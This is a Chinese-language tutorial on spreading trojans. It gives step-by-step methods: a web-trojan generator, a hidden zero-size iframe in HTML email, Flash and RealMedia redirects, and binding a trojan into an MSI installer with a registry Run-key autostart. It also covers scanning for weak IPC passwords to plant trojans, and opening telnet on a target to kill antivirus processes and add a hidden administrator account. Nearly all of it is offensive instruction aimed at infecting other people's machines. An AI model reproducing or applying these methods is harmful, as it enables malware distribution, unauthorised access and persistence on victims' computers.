第一:网页***制作。
本例中,大家可以下载一个“老丁网页***生成器”。当然如果您看到这篇文章的时间比较晚,你也可以下载个别的。
很简单:把***文件名字记录下来,例如mm.exe,打开***生成器,输入http://你的域名/soft/mm.exe,再点生成,再把网页传到空间里,把***文件mm.exe传到空间里的soft目录。别人看你的网页就会中马。

第二:用方法一做好的***传到空间上以后,就可以在写邮件的时候,选择HTML编辑方式,再加入以下内容,实现在网页中包含一个框架:
"<iframe src="  [url]http://xxxxx.com/xxxx.htm[/url]" ; width="0" height="0"></iframe>",这招够阴毒。以前试过这一招,挺好用的。
当然,现在的MAIL服务器一般会把这个带框架的邮件过滤掉,好办,你自己安装个邮件服务器就行了吗,推荐用Mdaemon,功能强大配置简单(别告诉我您用sendmail哈,用qmail俺也忍了)
 
第三:在flash文件中捆绑
打开flashMX,新建影片或打开其它影片,创建一个空白关键帧,选择动作-浏览器-双击geturl,输入网页地址,再点动作-影片控制-停止动作,导出电影文件即可。FLASH没怎么用过,这回才知道,原来看flash也要小心啊。

第四:视频传播
用realmedia editor,工具-合并事件  事先写个文本文件,内容是: u 00:5.0 00:8.0 网马网址,这样就可以了。
第五:文件捆绑
不说了,工具太多。
第六:通过MS较新的软件安装包MSI也可以捆绑***,看来不能掉以轻心。捆绑方法如下:
1、取得正常安装后的文件,最好使用软件的绿色版,把所有文件和***文件放在同一个目录。
2、使用advance installer,我手上只有一个测试版,据提示只能使用30天,不过我有“永不过期”。新建工程,选择专业版-新建工程向导,点击下一步、浏览选择准备好的目录。
3、有快捷方式的选择地方,把软件包中的主程序勾选,软件语言据实填写。
4、最后一步,绝对不要选:现在创建。这样就会进入下一步,软件的主程序界面。
5、选“文件或文件夹”,点开“windows volume”,新建一个system32,再把***拽过去,这样MSI安装完成后,***会自动放在这个目录中。
6、选“注册表”,在HKCU-software-microsoft-windows-current version-run中加载提到的***文件即可。(当然,如果系统中安装有瑞星这样可以监控系统注册表的软件,安装到此步时会出现提示。)
7、如果***支持服务启动,也可以在服务-安装服务上点右键-新建服务初始化,
8、在左侧菜单选“自定义操作”,在安装执行顺序下的install上右键,选新建安装的自定义操作,选中***文件,选“异步执行,不等待返回”,这样可以避免安装出现延迟,在执行选项中选确认(绝不能选立即执行)。
9、F7生成工程文件即可。
第七:配合扫描工具
本例可以使用流光,也可以使用傻瓜IPC扫描器。
1、用流光扫描有IPC漏洞的计算机(就是设置了弱密码计算机)
2、扫描完成后,点工具菜单-IPC工具-种植者
找到配置好的***文件-再选中***种植的路径-出现提示“指定的程序将在**秒后执行”
3、等待肉鸡上线即可。
注:本实验成功机率较小,2003 2000等系统为防止有人加自动运行程序,作了保护。如果目标主机上有杀软,也会杀掉***。如果目标主机没有隐含共享,也没有其它共享目录。
第八:手工开telnet种植
1、使用一个批处理程序:txtelnet,执行以下命令:
txtelnet x.x.x.x 用户名 密码       
输入后,会在2分钟之内打开对方的telnet
如果您不用会,推荐用阿D工具包,很适合新手的。
2、把查看进行和删除进行的两个程序:pslist.exe   pskill.exe  以及***文件上传到一个FTP服务器。
3、telnet x.x.x.x           "telnet连接目标主机
mget *            "下载所有文件
pslist           查看所有进程
pskill           杀掉杀毒软件进程
执行***
net user bob$ /add
net localgroup administrators bob$ /add